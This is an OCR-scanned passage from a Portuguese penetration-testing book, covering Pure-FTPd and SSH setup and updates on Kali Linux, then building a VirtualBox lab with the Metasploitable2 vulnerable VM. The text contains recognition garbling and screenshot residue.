internet) de um computador a outro poderd ser visto por qualquer pessoa que estiver monitorando a
rede.

O Kali Linux ndo inclui um servidor FTP; sendo assim, podemos adicionar um para facilitar a
transferéncia de arquivos entre os sistemas. Ha vérios servicos FTP que podem ser adicionados, e um
deles é o Pure-FTPd (http://www.pureftpd.org/project/pure-ftpd); no entanto qualquer daemon FTP
suportado deve ser aceitavel. Utilize o comando apt-get a seguir para fazer o download e instalar o
servico Pure-FTPd (Figura 4.9):

apt-get install pure-ftpd-common pure-ftpd

root@JimsKali: ~ bl Wi 5

File Edit View Search Terminal Help

. | ;~# apt-get install pure-ftpd-common pure-ftpd

|[Reading package lists... Done

|Building dependency tree

lReading state information... Done

The following packages were automatically installed and are no longer required:
libblas3gf liblapack3gf

lUse 'apt-get autoremove' to remove them.

The following MNEW packages will be installed:
pure-ftpd pure-ftpd-common

0 upgraded, 2 newly installed, 0 to remove and 7 not upgraded.

Need to get 394 kB of archives.

\fter this operation, 936 kB of additional disk space will be used.

:1 http://http.us.debian.org/debian/ stable/main pure-ftpd-common all 1.0.36-

[185 KB]

:2 http://http.us.debian.org/debian/ stable/main pure-ftpd amdt4 1.0.36-1.1 [

kE]

[2 pure-ftpd 88.7 kB/209 kB 42%]}}

[i4]
T

~ N & G

Figura 4.9 - Instalag¢do do Pure-FTPd usando o apt-get.
Esse comando ird instalar o servico FTP. Algumas configuragdes menores serao necessarias para garantir
a operacao correta do Pure-FTP Server.

cd /etc/pure-ftpd/cont
echo no > Bind
echo no > PAMAuthentication



echo no > UnixAuthentication
ln -s /etc/pure-ftpd/conf/PurebDB /etc/pure-ftpd/auth/50pure

A seguir, ¢ necessario criar grupos e usudrios para o servico FTP. Em primeiro lugar, crie um novo
grupo de sistema:

groupadd ftpgroup

Em seguida, faca adi¢cdes ao grupo recém-criado. Este comando nao concedera permissdes para o
diretorio home nem acesso ao shell pelo usuario:

useradd -g ftpgroup -d /dev/null -s /bin/false ftpuser
Crie um diretorio para os arquivos ftp:
mkdir -p /home/pubftp
Adicione pastas de usudrios ao diretorio do ftp. Nesse caso, o usuario sam a ser criado precisa de um
diretoério:
mkdir /home/pubftp/sam
Agora acrescente um usudrio e uma senha ao servico FTP. Nesse exemplo, o usudrio sam sera criado:
pure-pw useradd sam -u ftpuser -g ftpgroup -d /home/pubftp/sam

Um prompt sera apresentado solicitando a criagdo de uma senha.

Utilize o comando a seguir para atualizar o banco de dados do Pure-FTPd:
pure-pw mkdb

Por fim, inicie o servigo FTP usando o comando a seguir:
service pure-ftpd start

Ap6s iniciar o Pure-FTPd, ¢ uma boa ideia testa-lo utilizando o comando a seguir:
ftp {endereco IP}

Ao ser solicitado, insira 0 nome de usudrio sam e a senha. Se a autenticacido for bem-sucedida, o servidor
FTP estara funcionando corretamente. Caso ndo haja sucesso, reinicie o computador e tente se conectar
com o servidor ftp novamente.

As instrucoes que estdio em  http://samiux.blogspot.com/2011/08/howto-pure-ftpd-andatftpd-on-
backtrack.html foram usadas para executar os passos necessarios ao funcionamento do Pure-FTPd.

O servidor SSH

O SSH (Secure Shell) é um método mais seguro para acessar o conteido do sistema de arquivos do Kali
Linux a partir de locais remotos. O SSH oferece um canal de comunicagao seguro e criptografado entre
computadores que estdo se comunicando. Isso é util para os pentesters, pois permite que a transferéncia
de arquivos ocorra sem que ela seja inspecionada por ferramentas de seguranca de rede como os IDSs
(Intrusion Detection Systems, ou Sistemas de Detecgdo de Invasdo) e os IPSs (Intrusion Prevention
Systems, ou Sistemas de Prevencao de Invasdo).

Geracao de chaves SSH

Para usar o SSH de forma segura, chaves de criptografia devem ser geradas para facilitar a comunica¢io



segura e criptografada. Para gerar essas chaves, digite os comandos a seguir no prompt de comando.

Mova as chaves SSH originais que estdo no diretdério default, mas nao as apague.

mkdir -p /etc/ssh/original_ keys
mv /etc/ssh/ssh_host * /etc/ssh/original keys
cd /etc/ssh

Gere novas chaves SSH.
dpkg-reconfigure openssh-server
Inicie/reinicie o daemon SSH:

service ssh (start | restart)

Administrando o servico SSH a partir da GUI do Kali

O servidor SSH esta incluido na estrutura de arquivos principal da GUI do Kali e é acessado da mesma
maneira que o servidor Apache ¢é iniciado ou finalizado. Para acessar o menu do SSH, selecione
Applications (Aplicacdes) na barra localizada na parte superior da tela do Kali. A partir do menu suspenso
apresentado, selecione Kali Linux - uma a¢ido que fard um submenu ser apresentado. Nesse menu,
selecione System Services (Servicos do sistema), que, por sua vez, fard outro menu ser apresentado;
selecione a op¢do SSH nesse menu. As opg¢des para iniciar, finalizar e reiniciar o servico SSH serdo
apresentadas.

Administrando o servidor SSH a partir da linha de comando

O servidor SSH também pode ser iniciado, finalizado e reiniciado a partir do prompt de comando. Para
isso, a acdo a ser realizada - start, stop ou restart — deve ser acrescentada apds o comando
/etc/init.d/ssh, como mostrado nos comandos a seguir:

/etc/init.d/ssh start

/etc/init.d/ssh stop
/etc/init.d/ssh restart

Acessando o sistema remoto

Depois que o servico SSH for iniciado no sistema Kali, o computador podera ser acessado remotamente
a partir de sistemas Linux por meio do comando a seguir, digitado no prompt de comando (com um
nome de usudrio igual a sam e um endereco IP do sistema remoto igual a 192.168.1.66):
ssh sam@192.168.1.66

O acesso ao SSH a partir de um cliente Windows exige o uso de um cliente SSH. Muitos deles estdo
disponiveis na internet; por exemplo, o PuTTY é uma ferramenta comumente usada, que se encontra
disponivel em http://putty.org. Basta instalar o cliente e fornecer o endereco IP ou o nome do
computador Kali Linux, assim como as credenciais para login, e conectar-se ao computador Kali
remoto.

Configurar e acessar uma midia externa



O acesso a uma midia externa, como os discos rigidos ou os pen drives, ¢ muito mais facil no Kali Linux
do que nas versdes anteriores do Backtrack. Em geral, uma midia conectada ao sistema por meio de um
conector USB (Universal Serial Bus) sera detectada e disponibilizada pelo sistema operacional.
Entretanto, se isso ndo ocorrer automaticamente, pode ser necessario efetuar a montagem manual do
drive.

Montando um drive manualmente

A primeira tarefa a ser feita ao montar um drive manualmente no Kali Linux é conectar o drive fisico ao
computador. A seguir, abra um prompt de comando e crie um ponto de montagem. Para isso, as
permissdes relativas a conta sendo usada terdo de ser ampliadas; isso pode ser feito por meio do
comando sudo, caso a conta root ndo esteja sendo usada. O comando a seguir criard um ponto de
montagem chamado newdrive no diretorio media:

mkdir /media/newdrive

Determine o drive e a particio com os quais vocé esta se conectando usando o comando fdisk, com
detalhes sobre o drive ao qual vocé esta fazendo a associagdo. O primeiro disco rigido normalmente sera
0 hda e a primeira particdo nesse drive sera a hdai. Essa sequéncia continua com os drives adicionais
conectados ao computador, com o segundo sendo hdb e o terceiro, hdc. Na maioria das vezes, o drive
interno principal ira se chamar hda, portanto o primeiro drive externo serd chamado de hdb. Para montar
a primeira parti¢do de hdb no diretdrio newdrive criado no passo anterior, utilize o comando a seguir:

mount /dev/hdbl /media/newdrive

Uma vez executado o comando, o conteudo do drive estara disponivel ao navegarmos para o diretério

newdrive.

cd /media/newdrive

Fazendo um update no Kali

Assim como ocorre com outros sistemas operacionais, o Kali tem incluido o recurso de efetuar o update
tanto do sistema operacional quanto das aplicacdes ou dos pacotes instalados. A medida que os updates
dos pacotes estiverem disponiveis, eles ficardo acessiveis no repositorio do Kali. Esse repositorio pode
entao ser verificado para garantir que o sistema operacional e as aplicacdes permanecam atualizados. Os
updates normalmente correspondem a corre¢oes menores, referentes a corre¢des de bugs de software,
ou erros, ou sio usados para acrescentar novos recursos de hardware. O update do Kali pode ser feito
por meio do utilitario de linha de comando apt-get.

apt-get update

Fazendo um upgrade no Kali

Assim como o updating, o upgrading do Kali também pode ser efetuado a partir da linha de comando
usando o utilitario apt-get. Os upgrades normalmente correspondem a versdes mais importantes das
aplicagdes ou do proprio sistema operacional. Os upgrades oferecem novas funcionalidades e incluem
alteracdes muito mais significativas que os updates, normalmente exigindo mais tempo e mais espago no



drive dos sistemas.
apt-get upgrade

Um exemplo do processo de upgrade esta sendo mostrado na figura 4.10.

root@JimsKali: ~ - :
File Edit WView Search Terminal Help

://http .org/debian/ stable/main 1libnss3 amdé4 2:3.14.3-1 [1

fhttp .org/debian/ stable/main libsystemd-daemon@ amd&4q 44
:#fhttp.u:,detldu org/debian/ stable/main libsystemd-login® amdtd 44-
ffhttp.us.debian.org/debian/ stable/main pulseaudio amdéd4 2.0-6.1 [8

s .debian.org/debian/ stable/main pulseaudic-utils amded 2.0-

s .debian.org/debian/ stable/main pulseaudio-module-x11 amd&d

s.debian.org/debian/ stable/main libjson@ amd64 0.10-1.2 [2¢

iy I

s.debian.org/debian/ stable/main libpulse-mainloop-glib@ amd
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t:66 http:// ian. stable/main gnome-settings-daemon amdéd
4 .24qi * +de [u--: I-F.]
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Gy b Gy Ch

1-bin 201 kKB/2360 kKB 87%)

Figura 4.10 - Processo de upgrade.

Adicionando um repositdrio-fonte

Por padrio, o Kali verifica somente os software armazenados em seu proprio repositorio em busca de
updates e de upgrades. Isso normalmente é um aspecto positivo, pois alguns updates ou upgrades
poderiam provocar falhas na funcionalidade do Kali. Por esse motivo, os updates e os upgrades siao
testados pelos desenvolvedores do Kali na Offensive Security antes de serem adicionados ao repositdrio
oficial do Kali. Embora isso normalmente seja um aspecto positivo, ha algumas aplicacdes de software
que ndo estardo disponiveis quando usarmos os pontos de distribuicdo default do Kali, e podera ser
necessario adicionar outros repositdrios — nesse exemplo, os repositorios do Debian serdo acrescentados.
Usando o nano, ou um editor de textos diferente, abra o arquivo /etc/apt/sources.list:
nano /etc/apt/sources.list

Apos o arquivo ser aberto, acrescente o comentario e as duas linhas a seguir no final.

#debian 7 main (isto é apenas um comentario)
deb http://http.us.debian.org/debian stable main contrib non-free
deb-src http://http.us.debian.org/debian stable main contrib non-free

Agora salve o arquivo - no nano, isso ¢é feito teclando Control + 0 (letra O). Mantenha o mesmo nome de
arquivo teclando Enter e, por fim, use Control + X para sair. Isso fara o repositdrio principal do Debian ser



adicionado a lista de repositérios que o Kali usara para verificar se ha updates ou upgrades, e esse
repositério serd usado também para procurar aplicacdes ou pacotes a serem instalados. Para finalizar
essa alteracdo use o comando update para atualizar o Kali com o novo repositdrio:

apt-get update

Resumo

O Kali é uma ferramenta eficiente, com uma quantidade impressionante de ferramentas instaladas por
padrao. O uso de varios desses recursos pode ser novidade para alguns usuarios; sendo assim, este
capitulo discutiu diversos aspectos bésicos relacionados ao uso eficiente dessa distribuicao e de varias
outras distribuicdes Linux. Da configuragio de interfaces de rede a adi¢do de um servidor FTP,
incluindo a adi¢do de um novo repositério e a atualizacdo do sistema operacional e das aplicagdes, este
capitulo discutiu varias tarefas basicas que devem ser realizadas para uma utilizacdo eficiente desse
conjunto de ferramentas. Manter o Kali é tdo importante quanto manter qualquer outro sistema
operacional, e isso deve ser feito regularmente para garantir que suas ferramentas, as aplica¢des e o
proprio sistema operacional permane¢am atualizados.



CAPITULO 5
Criacdo de um laboratorio de testes de invasao

Informagoes contidas neste capitulo:
o Criacao de um laboratério
» Metasploitable2
« Amplia¢ao de seu laboratério

« O Magical Code Injection Rainbow

Visao geral do capitulo e principais pontos de aprendizagem
Este capitulo explica:
o 0 uso da virtualizagdo para criar um laboratdrio de testes de invasdao
« a instalacdo e a configuracao do VirtualBox

» a instalacdo da plataforma Metasploitable2 no ambiente de laboratorio

Antes de ler este capitulo: crie um laboratdrio

Como uma pessoa pode ter a chance de praticar, pesquisar e aprender o processo de exploracio de
falhas? Criando um laboratério e pronto! Por que criar um laboratdrio se a internet esta logo ali ao
alcance das maos? Uma pergunta simples com uma resposta mais simples ainda: porque ninguém quer
ir para a cadeia. Lembre-se sempre das consequéncias de testar uma rede que nio pertence a vocé. No
caso de ataques a sistemas governamentais ou financeiros, como um banco, a pena pode ser de vinte
anos ou mais em uma prisiao federal. Nao conhecer as leis, sejam elas federais ou estaduais, nao ¢é
nenhuma desculpa quando se trata de crimes cibernéticos. Tome cuidado, seja esperto e crie um
laboratorio. Os exercicios deste capitulo sdo realizados em aplicacoes e softwares de treinamento
disponiveis publicamente. E altamente recomenddvel criar um laboratdrio antes de prosseguir para o
proximo capitulo.

Criando um laboratdrio com alguns centavos

Antes da época da virtualizagio, os profissionais da area de TI (Tecnologia da Informacgio), as pessoas
envolvidas com seguranga e igualmente os estudantes possuiam garagens, sdtios e outros cdmodos
cheios de equipamentos extras de computacdo. Em alguns casos, esses computadores e equipamentos
de rede ficavam empilhados do chao ao teto, e a conta de luz chegava as alturas. Ter uma pilha enorme
de equipamentos era custoso; pensar em leva-los consigo se fosse preciso mudar estava fora de
cogitacdo. Gragas aos céus, nao ¢ isso o que acontece atualmente.



Nio importa se o seu computador estd executando um sistema operacional Windows, Mac ou Linux,
existem duas abordagens principais para uma virtualiza¢io doméstica. Ambos os programas a seguir sao
gratuitos e estdo disponiveis para a maior parte dos sistemas operacionais que estiverem executando em
arquiteturas de 32 bits ou de 64 bits.

VMWare Player

Vantagens

o As VMs (Virtual Machines, ou Maquinas Virtuais) sio criadas em um switch virtual dedicado com
NAT. Varias VMs podem se comunicar umas com as outras, e o acesso a partir do computador host
é possivel.

o Um DHCP ¢ instalado por padrio e todas as VMs podem obter enderecos IP automaticamente.
o Ha suporte para virtualizagio avancada para Xen, XenServer, vSphere e outros hypervisors

importantes.

Desvantagens
o Nio esta disponivel para os sistemas operacionais Mac, Solaris ou FreeBSD.
 Ndo permite a criagio de uma imagem ou a clonagem de VMs existentes.

o Apresenta dificuldades com alguns adaptadores de rede WiFi.

VirtualBox

Vantagens
o Esta disponivel para Windows, Linux, Mac, Solaris e FreeBSD.
 Ha fung¢oes disponiveis para clonar VMs (economia de tempo).
« Suporta mais tipos de arquivo em discos rigidos virtuais. Em especial, isso é pratico ao executar VMs

baixadas, que foram previamente criadas.

Desvantagens

o As VMs permanecem isoladas umas das outras, a menos que o port forwarding (encaminhamento
de portas) esteja habilitado no host.

« Ndo tem suporte para virtualizacdo avancada, necessaria ao Xen, XenServer, vSphere e outros tipos
de hypervisors.

o Se a VM falhar, é bem provavel que toda a VM sera corrompida.

Este guia foi criado especificamente para o VirtualBox da Oracle, versdo 4.2.16, instalado no Microsoft
Windows 7 Professional. A decisdo de usar o VirtualBox no lugar do VMWare Player foi tomada
porque ha mais recursos disponiveis na internet para ajudar, caso surjam problemas; no entanto ele
exige algumas configurag¢des adicionais. Lembre-se de que a melhor andlise é a sua quando se trata de
escolher um sistema de virtualizagdo. Tem havido longas discussdes sobre qual sistema é o melhor; em



ultima instincia, escolher um sistema de virtualizacdo em rela¢do a outro é uma questdo de preferéncia
pessoal. Além do mais, de modo diferente dos programas antivirus, ambos podem ser instalados para
facilitar o atendimento as diversas necessidades, portanto é possivel instalar o VirtualBox e 0 VMWare
Player no mesmo computador. Todos os links e as referéncias usados neste guia estavam disponiveis na
época desta publicacio. Nao se esqueca de que as versdes, os locais para download e as informagdes
podem mudar ao longo do tempo.

Instalando o VirtualBox no Microsoft Windows 7

Abra um navegador web e acesse https://www.virtualbox.org/wiki/Downloads. E importante garantir que o
enderego web seja digitado ou copiado corretamente. Selecione a versdo correta do programa de acordo
com o seu sistema operacional e inicie o processo de download. Apds ter realizado o download, execute
o arquivo. A figura 5.1 mostra a caixa de dialogo de boas-vindas para a instalagao do VirtualBox. Clique
no botdo Next (Préximo) para continuar.

r N
1l Oracle VM VirtualBox 4.2.16 Setup [ 3
- T
Welcome to the Oracle VM
VirtualBox 4.2.16 Setup
Wizard
The Setup Wizard will install Orade VM VirtualBox 4.2. 16 on
your computer, Click Next to continue or Cancel to exit the
Setup Wizard.
Version 4.2. 16 E  Next > || cancel
b _— i

Figura 5.1 - Instalagdo do VirtualBox-1.

Este tutorial ndo discutira a instala¢ao personalizada nem as configuragdes avancadas. Aceite as op¢oes
default que estdo na caixa de didlogo mostrada na figura 5.2 e clique no botdo Next para continuar.
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"1%) Oracle VM VirtualBox 4.2.16 Setup [ 23

Custom Setup
Select the way you want features to be installed.

Click on the icons in the tree below to change the way features will be installed.

5|69~ ""“-' Box Application Orade VM VirtualBox 4.2. 16
------- ~ | VirtualBox USB Support application.
B E - | VirtualBox Metworking

o =elw idges

| %l J“‘B"” Bri | This feature requires 127M8 on

E w5 = | VirtualBox Host your hard drive. Ithas 3 of 3
..... = .[ VirtualBox Python 2.X Su|  subfeatures selected. The

- = | - subfeatures require 540KE on yo...
Location:  C:\Program Files\Oradke \VirtualBox\ r—
Version 4.2.16 | Diskusage | | <Back || mNext> | | cancel |
S — |

Figura 5.2 - Instalagdo do VirtualBox-2.

1. Selecione as configuragdes para o seu icone, conforme mostrado na figura 5.3, e clique no botao
Next. Um aviso sobre a conexdo de rede sera mostrado (Figura 5.4); clique no botao Yes (Sim) para
prosseguir.
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12 Oracle VM VirtualBox

Custom Setup
Select the way you want features to be installed.

Please choose from the options below:

/| Create a shortcut on the desktop

" |Create a shortaut in the Quick Launch Bar!

Version 4.2.16 | <Back || Next> | | cancel

Figura 5.3 - Instalagdo do VirtualBox-3.

-
_ﬁl Oracle VM VirtualBox 4.2.16

N Network Interfaces

%i Installing the Orade VM VirtualBox 4. 2. 16 Networking

feature will reset your network connection and termpaorarily
N / disconnect you from the network.
|

Warning:

Proceed with installation now?

Version 4.2.16 E Yes 1 [ Mo

Figura 5.4 - Instalagdo do VirtualBox-4.



2. Clique no botao Install (Instalar), como mostrado na figura 5.5. Se a janela de UAC (User Account
Control, ou Controle de conta de usudario) da Microsoft aparecer, clique no botdo Yes para
continuar.

-
E‘ﬂ Oracle VM VirtualBox 4.2.16 Setu

Ready to Install
The Setup Wizard is ready to begin the Custom installation.

Click Install to begin the installation. If you want to review or change any of yvour
installation settings, dick Back. Click Cancel to exit the wizard.

Version 4.2. 16 | < Back |¥ 1"‘5'3” ; |

Figura 5.5 - Instalagdo do VirtualBox-5.

3. Durante a instalacdo, uma pergunta para saber se o usuario deseja instalar device drivers podera ser
apresentada, como mostrado na figura 5.6. Clique no botdo Install para prosseguir, quando
solicitado. (Isso podera ocorrer varias vezes).

-
[57] Windows Security

- o -

Would you like to install this device software?

Mame: Oracle Corporation Universal Serial Bus ...

> 4 Publisher: Oracle Corporation

] Always trust software from "Oracle Corporation”. [ Install l i Don't Install

& You should only install driver scftware from publishers you trust. How can I decide
which devi ftware is safe to install?

Figura 5.6 - Instalagdo do VirtualBox-6.

Depois de concluida a instalagdo, clique no botao Finish (Concluir), como mostrado na figura 5.7.



Oracle VM VirtualBox 4.2.16
installation is complete.

Click the Finish button to exit the Setup Wizard.

[¥] Start Orade VM VirtualBox 4.2. 16 after installation

Figura 5.7 - Instalagdo do VirtualBox-7.

A instalagdo do VirtualBox agora estara concluida e, se a opgao Start Oracle VM VirtualBox 4.2.16 after
installation (Iniciar o Oracle VM VirtualBox 4.2.16 apds a instalacio) estiver selecionada, o VirtualBox
sera aberto e o VirtualBox Manager (Gerenciador do VirtualBox) serd apresentado, como mostrado na
figura 5.8. Nenhuma maquina virtual sera criada nesse momento, portanto o gerenciador pode ser

fechado.
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File Machine Help
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1‘\:} " o4 Datadls | (2 Snapshots
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Welcome to VirtualBox!

The left part of this window ks a st of all virtual machines on your computer. The list is empty now because you haven't
created any virtual machines yet. ‘F‘p

In order to create & rew virtual machine, wtﬁshﬂmmnmnﬂtmmmmm s ‘
at the top of the window. = .

You can press the FL key to get instant help, or visit www.virtualbox.org for the latest : i
information and news. o

Figura 5.8 — Boas-vindas do VirtualBox.
Abra um navegador web e acesse https://www.virtualbox.org/wiki/Downloads novamente. Faca o
download do VirtualBox 4.2.16 Oracle VM VirtualBox Extension Pack. Apds ter concluido o
download, dé um clique duplo no arquivo para executa-lo (Figura 5.9).
Clique no botio Install para prosseguir. Concorde com o End User License Agreement (Contrato de licenca do
usuario final) quando solicitado. Se a caixa de didlogo UAC do Windows aparecer, clique no botao Yes
para continuar. Feche o VirtualBox quando a instalac¢ao estiver concluida.
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% VirtualBox - Question - =

9' You are about to install a VirtualBox extension pack.

Extension packs complement the functionality of VirtualBox

~=  and can contain system level software that could be
potentially harmful to your system. Please review the
description below and only proceed if you have obtained
the extension pack from a trusted source.

Name: Orade VM VirtualBox Extension Pack

Version: 4.2.16r86992

Description: USE 2.0 Host Controller, VirtualBox RDP, PXE
ROM with E 1000 support.

Install H Cancel

Figura 5.9 - Extensoes do VirtualBox.

Configurando uma plataforma de ataque virtual

Para manter tudo em um laboratério virtualizado, criar uma VM que possa executar o Kali Linux é uma
boa ideia. Os passos a seguir descrevem o modo de configurar o Kali Linux para que execute como um
sistema live boot no VirtualBox. Apds a VM ter sido criada e iniciada, uma instalagido de disco rigido,
conforme descrito no capitulo 2, podera ser feita. E recomendével ter uma méquina virtual dedicada a
iniciar imagens de live boot. Ao testar os sistemas ou personalizar os ISOs, essa maquina virtual para
live boot pode ser usada repetidamente, com poucas alteracdes na configuragao.

Configuragdo de uma mdquina virtual para o Kali Linux no VirtualBox
Abra o VirtualBox e clique no botdo New (Novo), como mostrado na fig. 5.10.

1. Dé um nome a nova maquina virtual; nesse caso, usamos Kali-Linux-LiveDisc. Configure o tipo para
Linux, a versido para Debian ou Debian (64 bit) conforme for conveniente e clique no botao Next
para prosseguir.

2. Essa plataforma serd executada exclusivamente na RAM das maquinas virtuais. Nao se esqueca de
configurar o tamanho da RAM para que tenha pelo menos 2 GB; no entanto 4 GB é recomendavel,
e mais sera melhor se houver disponibilidade (Figura 5.11).



@ Create Virtual Machine B —

Name and operating system

Please choose a descriptive name for the new virtual machine and select the
type of operating system you intend to install on it. The name you choose
will be used throughout VirtualBox to identify this machine.

Name: Kali-Linux-LiveDisc

Type: |Linux v ‘f@

version: |Debian (64 bit) 3

|Hide Description| | Next | [ cancel

Figura 5.10 - Crie uma VM.



@ Create Virtual Machine

Memory size
Select the amount of memory (RAM) in megabytes to be allocated to the
virtual machine.,
The recommended memory size is 384 MB.
i1 8 i :D-:::':::l': mﬁlME
4MB 3584 MB
Next || Cancel |
%

Figura 5.11 - Ajustes na memodria.

3. Clique no botdo Next para continuar. Em seguida, selecione a op¢ao Create a virtual hard drive now (Criar
um disco rigido virtual agora) e clique no botdo Create (Criar) para prosseguir (Figura 5.12).
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@ Create Virtual Machine

Hard drive

If you wish you can add a virtual hard drive to the new machine. You can
either create a new hard drive file or select one from the list or from another
location using the folder icon.

If you need a more complex storage set-up you can skip this step and make
the changes to the machine settings once the machine is created.

The recommended size of the hard drive is 8.00 GB.

() Do not add a virtual hard drive
@ Create a virtual hard drive now

() Use an existing virtual hard drive file

FMata ] bl o s i = S O e
Metasploitable.vmdk (Normal, 8.00 GB) b

[ Create J[ Cancel |

Figura 5.12 - Criagdo do disco rigido.
4. Selecione a opgao VMDK (Virtual Machine Disk) e clique no botao Next para prosseguir (Figura 5.13).
5. Selecione a opgao Fixed Size (Tamanho fixo) e clique no botdao Next (Figura 5.14).

6. O nome e o tamanho default do disco rigido sdo apropriados para um cenario com live disk; no
entanto, se vocé planeja criar uma instalagdo completa do Kali Linux no VirtualBox, mude o
tamanho do disco rigido virtual para 40 GB. Clique no botdo (reate (Criar) para continuar (Figura
5.15).

a. NAO ligue a méquina quando o processo for concluido.
7. Selecione a maquina virtual Kali-Linux-LiveDisc e, em seguida, clique no botao Settings (Configuragoes).

Selecione o botdo General (Geral) no menu a esquerda e va até a aba Advanced (Avang¢ado), como
mostrado na figura 5.16.

Configure o pardmetro Shared Clipboard (Clipboard compartilhado) para Bidirectional (Bidirecional), e
Drag’'n’Drop (Arrastar e soltar) para Bidirectional.



@ Create Virtual Hard Drive

Hard drive file type

Please choose the type of file that you would like to use for the new virtual hard drive, If I
you do not need to use it with other virtualization software you can leave this setting

unchanged.

() VDI (VirtualBox Disk Image)

@ VMDK (Virtual Machine Disk)

) VHD (virtual Hard Disk)

() HDD (Parallels Hard Disk)

© QED (QEMU enhanced disk)

) QCOW (QEMU Copy-On-Write)

Maxt

Figura 5.13 - Finalizando a criagdo do disco rigido.




@ Create Virtual Hard Drive

——

L9 ]

Storage on physical hard drive

Please choose whether the new virtual hard drive file should grow as it is used (dynamically

allocated) or if it should be created at its maximum size (fixed size).

A dynamically allocated hard drive file will only use space on your physical hard drive as
it fills up (Up to a maximum fixed size), although it will not shrink again automatically when

space on itis freed.

A fixed size hard drive file may take longer to create on some systems but is often faster

to use,

You can also choose to split the hard drive file into several files of up to two gigabytes

each. This is mainly useful if you wish to store the virtual machine on removable USB devices

or old systems, some of which cannot handle very large files.
() Dynamically allocated

@ Fixed size

["] splitinto files of less than 2GB

| Dext

Cancsl

Figura 5.14 - Tamanho do disco rigido.




@ Create Virtual Hard Drive

File location and size

Please type the name of the new virtual hard drive file into the box below or dick on the
folder icon to select a different folder to create the file in.

Kali-Linux-LiveDisc a

Select the size of the virtual hard drive in megabytes. This size is the limit on the amount of
file data that a virtual machine will be able to store on the hard drive.

| U o 8.00 GB
4.00 MB 2.00TB

| Create Cancel

Figura 5.15 - Localizagdo do disco rigido.
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{3 Kali-Linux-LiveDisc - Settings (P

= General -General

Systemn - B -

!,_EJ D}illspla}r E_&dvmd Pescrintion

& Storage Spapshot Folder: |, C:{Users\Andrew\VirtualBox VMs\Kali-Linux-LiveDisc\Snapshots -
B Audic Shared Clipboard: |Bidrectional v |

@ Network Drag'n'Drop: [Bici&f.ﬁcnd ']

@ Senal Ports Removable Media: [V] Remember Runtime Changes

& uss Mini ToolBar: [¥] Show In Fullscreen/Seamiless

L Shared Folders \"| Show At Top Of Screen

Selects which data will be copied bebween the guest and the host OS by drag’n'drop. This feature
requires Guest Additions to be installed in the guest 05.

/i Non-optimal settings detected | ok || cancel || bHep |

Figura 5.16 - Configuragdes avangadas.

8. Selecione o botao Storage (Armazenamento) no menu a esquerda. Clique no icone de “CD”
Controller: IDE (Controlador: IDE) marcado como Empty (Vazio). Marque a caixa de selecao Live CD/DVD,
que esta do lado direito da janela. Navegue até o arquivo ISO do Kali Linux que foi baixado (Figura
5.17).
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Choose a virtual CD/OVD disk or a physical drive to use with the virtual drive. The virtual machine will
see a disk inserted into the drive with the data in the file or on the disk in the physical drive as its
contents.

/i, Non-optimal settings detected | ok || cancel || bHep |

Figura 5.17 - Configuragdes do live disk.

9. Selecione o botao Network (Rede) no menu a esquerda e altere a opgao Attached to (Conectado a)
para Host-only Adapter (Figura 5.18).
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Figura 5.18 - Configuragaes de rede do Metasploitable2.

10. Clique no botao OK para salvar as alteracdes e volte para a tela principal. A criagio da maquina
virtual Kali Linux foi concluida.

Metasploitable2

A Rapid7 criou um computador pré-programado com vdrias brechas de seguranca e que é
propositadamente vulnerdvel. E uma 6tima ferramenta para iniciar o treinamento em seguranca de
computadores, porém ndo é recomendavel como um sistema operacional basico. A VM oferecera
muitas oportunidades ao pesquisador para aprender sobre testes de invasio com o Metasploit
Framework. O Metasploitable2 é uma maquina virtual que ja vem criada para ser conveniente e facil de
usar. E também um bom ponto de partida para a criacio de um laboratério virtualizado porque muitas
das aplicacoes que serdo discutidas posteriormente neste capitulo poderio ser instaladas na
Metasploitable2 VM.

Instalagao do Metasploitable2

Abra um navegador web e acesse http://sourceforge.net/. Use a barra de pesquisas na parte superior do
site Sourceforge.net para procurar o Metasploitable. Nos resultados, clique no link para o



Metasploitable2. Clique no botao de download para obter a VM (Figura 5.19).

+ 5.0 Stars (18)

4 1,358 Downloads

(2 Last Update: 2012-06-13
Figura 5.19 - Download do Metasploitable2.

Salve o download em um local que vocé se lembre. Se o VirtualBox ndo estiver aberto, inicie-o (Figura
5.20).

8§ Oracle VM VirtualBox Manager

File Machine Help

}‘1:3 2 v | 2 Snapshots
Mew Ssttings Start Discard
Welcome to VirtualBoox!
The left part of this window i a kst of all virtual machines on your computer, The kst is emplty now because you haven't
created any virtual machines yet. E #V -
In order to create & new virtual machine, nmhﬂmmumnﬂmmmmw " J A \
at the top of the window. - e
You can press the FL key to gat instant help, or visit www.virtualbox.org for the latest ;: -
information and news. [g’

Figura 5.20 - Abra o VirtualBox.
Clique no botao New (Novo) para criar uma VM (Figura 5.21).
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\.,‘:I Create Virtual Machine

Name and operating system

Please choose a descriptive name for the new virtual machine and select the
| type of operating system you intend to install on it. The name you choose
| will be used throughout VirtualBox to identify this machine.

Name: Metasploitable-2

Type: |Linu:: '| |Q
Version: |l..||:uuntu *r|
Hide Desu'iptiun‘ | Next | | Cancel
e - |

Figura 5.21 - Crie uma nova mdquina virtual.

1. Chame a maquina virtual de Metasploitable2 e configure Type (Tipo) para Linux. Configure Version
(Versdo) para Ubuntu e clique no botao Next para prosseguir.

2. (Fora do Assistente) Extraia o conteddo do arquivo Metasploitable2.zip para
C:/users/%USERNAME%/VirtualBox VMs/Metasploitable2/.

(De volta ao Assistente do VirtualBox) Configure o tamanho da memdria para a maquina virtual.
Clique no botao Next para continuar. O valor de 512 MB de RAM deve ser apropriado, porém o
tamanho pode ser ajustado se for necessario (Figura 5.22).

Selecione o botdo de rddio Use an existing virtual hard drive file (Use um arquivo de disco rigido virtual
existente). Utilize o botdo Browse (Procurar) para selecionar o arquivo c:/users/%USERNAME%/VirtualBox
VMs/Metasploitable2/Metasploitable.vmdk (Figura 5.23).
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Select the amount of memory (RAM) in megabytes to be allocated to the
virtual machine,

The recommended memory size is 512 MB.
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Figura 5.22 - Configure a RAM.
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@ Create Virtual Machine

. B ——

Hard drive

If you wish you can add a virtual hard drive to the new machine. You can
either create a new hard drive file or select one from the list or from another
location using the folder icon.

If you need a more complex storage set-up you can skip this step and make
the changes to the machine settings once the machine is created.

The recommended size of the hard drive is 8.00 GB.
(7) Do not add a virtual hard drive
(") Create a virtual hard drive now

@ Use an existing virtual hard drive file
| Metasploitable.vmdk (Normal, 8.00 GB) -1 @

[_create ][ concel |

Figura 5.23 - Criagdo do disco rigido.

Clique no botdo Create (Criar) para continuar, mas NAO inicie a mdquina virtual nesse momento
(Figura 5.24).
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= General

MHame: Metasploitable-2
